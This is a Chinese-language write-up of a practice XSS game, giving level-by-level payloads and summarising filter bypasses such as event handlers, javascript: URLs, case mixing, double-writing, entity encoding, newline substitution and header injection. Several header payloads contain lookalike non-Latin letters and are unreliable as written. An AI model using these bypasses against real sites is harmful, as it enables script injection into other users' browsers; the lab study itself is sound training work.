写这篇文章的目的

以前在学习和利用XSS漏洞的时候,最多的感受就是知识体系不够全面,不能快速准确的构造出payload,最近在整理xss漏洞利用的一些方法,一来希望自己能够准确快速的针对漏洞点构造出payload,二来是想自己写一些根据特征值进行自动化的小工具。

用xss小游戏来实践

第一关(无任何过滤,不需要闭合):

在用户处也就是name=的后面直接进行利用。查看源码可知不需要进行闭合。

payload:name=%3Cscript%3Ealert(1234)%3C/script%3E

第二关(闭合input标签):

payload:"%3E%3Cscript%3Ealert(1234)%3C/script%3E

第三关(进行html实体转换,单引号闭合):

使用了htmlspecialchars($str)函数,这个函数的作用是把一些预定义的字符转换为 HTML 实体。
预定义字符包括:

& (和号)成为 &
" (双引号)成为 & quot;
' (单引号)成为 '
> (小于)成为 & lt;
<(大于)成为 & gt;

这里可以利用js事件进行绕过,常使用的如下:

onmouseenter=alert() //当鼠标移动到就会触发
onclick=alert() //鼠标点击时就会触发
onchange=alert() //在域的内容改变时发生
oninput=alert() //在用户输入时触发
onmouseover=alert()//鼠标移动到就会触发
payload为:
' onmouseover=alert(1)//

第四关(进行HTML实体转换,替换尖括号,双引号闭合):

虽然这一关与上一关相比,多了一个将尖括号替换为空的操作,但是上一关构造的payload的中没有尖括号,所以只需使用双引号闭合就可以继续使用上一关的payload
payload:
"onmouseover=alert(1)//

第五关(过滤on事件,过滤%3Cscript%3E标签,双引号闭合):

经过测试,带有on的时间不可以使用了被替换为o_n从而失效,使用%3Cscript%3Ealert(1)%3C/script%3E,发现针对%3Cscript%3E进行过滤使其变为%3Cscr_ipt%3E从而%3Cscript%3E标签失去作用。
但是并没有对尖括号进行转义,可以使用js伪协议进行绕过,

payload:"%3E%3Ca href=javascript:alert('xss')%3Etest%3C/a%3E

第六关(过滤了herf...但未进行大小写过滤,双引号闭合):

是用以前的payload进行尝试,发现不能用,过滤了很多东西,尝试变换一下大小写,成功绕过
payload:

"%3E %3CScript%3Ealert(1)%3C/script%3E //

"%3E %3Cimg Src=x OnError=alert(1)%3E //

"%3E%3Ca HrEf="javascript:alert(1)"%3Ezhouzhong%3C/a%3E//

" OncliCk=alert(1) //

第七关(禁用大小写script,on,src ,data ,href 都直接转换成空,双引号闭合。)

双写绕过

payload:

"%3E%3Csscriptcript%3Ealert(1)%3C/sscriptcript%3E

"%3Ehello%3Csscriptcript%3Ealert(1)%3C/sscriptcript%3E

" oonnmouseover=alert(1)

"%3E%3Ca hrhrefef=javascriscriptpt:alert(1)%3Exss%3C/a%3E

第八关:

过滤:

script 转换成 scr_ipt
on 转换成 o_n
src 转换成 sr_c
data 转换成 da_ta
href 转换成 hr_ef
大小写失效

" 还被编码,但是尖括号%3C%3E ,单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中

绕过:

属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,

javascript会被替换成javasc_rpt,我们使用r来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

伪协议后面可以使用URL编码等进行编码。因为本身就有herf标签,构造payload:
javascript:alert('xss')

第九关:

和第八关类似,但是使用上一关的payload显示链接不合法,猜测要加上http://字符串

payload:

javascript:alert(1)//http://xxx.com        //利用注释       

javascript:alert(1)/*http://www*/                  //利用注释                 

javascript:%0dhttp://xxx.com%0dalert(1)   //不利用注释 

javascript:%0ahttp://xxx.com%0aalert(1)   //不利用注释 

利用注释的payload比较好理解,这里分析一下不利用注释的payload:
//是单行注释,%0d和%0a可以绕过//单行注释
如果不加%0d(%0a)此时payload是

javascript:http://xxx.comalert(1) 

里面http://的//在这里起到了一个注释的作用

payload实际变成了

javascript:http://

也就达不到效果
如果加上%0d(%0a)也就成了

javascript:
http://xxx.com
alert(1)

%0d可以绕过http://里的//防止被当成单行注释

%0d回车,%0a换行

第十关:

有三个参数,都试试:

keyword=%3Cscript%3Ealert(1)%3C/script%3E&t_link=%3Cscript%3Ealert(1)%3C/script%3E"type="txt"&t_history=%3Cscript%3Ealert(1)%3C/script%3E"type="txt"&t_sort=%3Cscript%3Ealert(1)%3C/script%3E"type="txt" 

因为三个参数的类型都为隐藏,所以把他们都设为txt后才能显示出来(会忽略后面的type="hidden")
查看源码只有t_sort的value有值,并且过滤掉了尖括号
也就是说只有t_sort的输入处可以利用,因为过滤了%3C和%3E

payload:?t_sort="type="text" onmouseover="alert(1)

构成:

%3Cinput name="t_sort" value=""type="text" onmouseover="alert(1)" type="hidden"%3E

第十一关(http头的xss利用)

多了一个 str11=_SERVER[‘HTTP_REFERER’]; 考察的是http头部的xss注入,burpsuite抓包,新增相应的字段,构造http头部Referer的payload:

Referer: " οnmοuseοver=alert(1) type="text"

Referer: " οnclick="alert(1) type="text"

XSS小游戏通关题解-D-R0s1博客

第十二关(user-agent的xss利用):

同level 11可得
更改user-agent

user-agent: 。。。" οnmοuseοver=alert(1) type="text"

user-agent: 。。。" οnclick="alert(1) type="text"
XSS小游戏通关题解-D-R0s1博客

第十三关(cookie的xss利用):

同level 11可得
更改cookie

cookie: 。。。" οnmοuseοver=alert(1) type="text"

cookie: 。。。" οnclick="alert(1) type="text"
XSS小游戏通关题解-D-R0s1博客

第十四关:

查资料知道是要我们去访问网站http://www.exifviewer.org/ 可是已经打不开了。刚开始并不知是想干嘛,后来才发现是利用关于图片的exif属性。

关于exif,百度一下:

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

这下明确了,应该是想让我们修改图片的exif信息,上传到相应网站,然后达到执行XSS的效果。

大概找了一下,没有找到相应的平台,但发现了一个很棒的查看exif信息的网站:图虫EXIF查看器alpha版 可看到的信息非常详细。

最后,根据题目的考点,找了几个关于修改图片exif信息的工具,
PowerExif
MagicEXIF元数据编辑器
附上相关漏洞报告
https://www.hackersb.cn/hacker/140.html

第十五关:页面挂了

第十六关:

过滤:
禁止大小写绕过
script , / , (空格),等都被转换成 

提交%3Cscript%3Ealert(1)%3C/script%3E 发现将script和/ 都转为空格了。
但是%3C和%3E没有过滤,后还发现空格也会转义,
这里用Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%0a')代替 。从而绕过空格。不用空格或者替代品隔开,会由于属性没有隔开而报错。

构造payload:

https://xss.tesla-space.com/level16.php?keyword=%3Cimg%0Dsrc=1%0Donerror=alert(1)%3E

第十七关:

payload:https://xss.tesla-space.com/level17.php?arg01=a&arg02=1%20onmouseover=alert(1)

XSS小游戏通关题解-D-R0s1博客
解析:

1.url出存在构造a和b的问题,a和b都显示了,可以考虑在a,b处构造,而且不用考虑引号闭合问题(用空格隔开就好)。

2.%3Cembed%3E 标签是定义嵌入的内容,比如插件。这里插件就是xsf01.swf3.构造:arg01=a&arg02=1%20onmouseover=alert(1) (这里直接把空格替代了,后来测试发现不替代也行)当鼠标移动到插件上时,成功

第十八关:同上题

payload:https://xss.tesla-space.com/level18.php?rg01=a&arg02=1%20onmouseover=alert(1)

第十九/二十关:

是有关flash的xss,需要下载flash进行源码分析,分析不了。

总结

1.在这个小游戏中用到的一些绕过过滤的方法为:

遇到htmlspecialchars($str)函数进行实体转换-->利用js事件进行绕过

onmouseenter=alert() //当鼠标移动到就会触发
onclick=alert() //鼠标点击时就会触发
onchange=alert() //在域的内容改变时发生
oninput=alert() //在用户输入时触发
onmouseover=alert()//鼠标移动到就会触发

2.过滤on事件,过滤%3Cscript%3E标签-->利用js伪协议绕过

3.检测链接是否合法(检测输入特定值)-->注释绕过
4.关键字过滤 -->html实体编码绕过
5.空格转义-->%09', '%0A', '%0B', '%0C', '%0D', '%0a替代空格
除此之外还要考虑:
大小写绕过,双写绕过,编码绕过等方式,组合起来共同构成payload。

由于文章篇幅原因,这篇文章就仅作为一个解题笔记,我决定把绕过姿势总结单独拿出来写一篇文章。
解释:因为编辑器的原因,%3Cscript%3E不显示,为了使文章完整,对尖括号进行编码,在这里做出说明。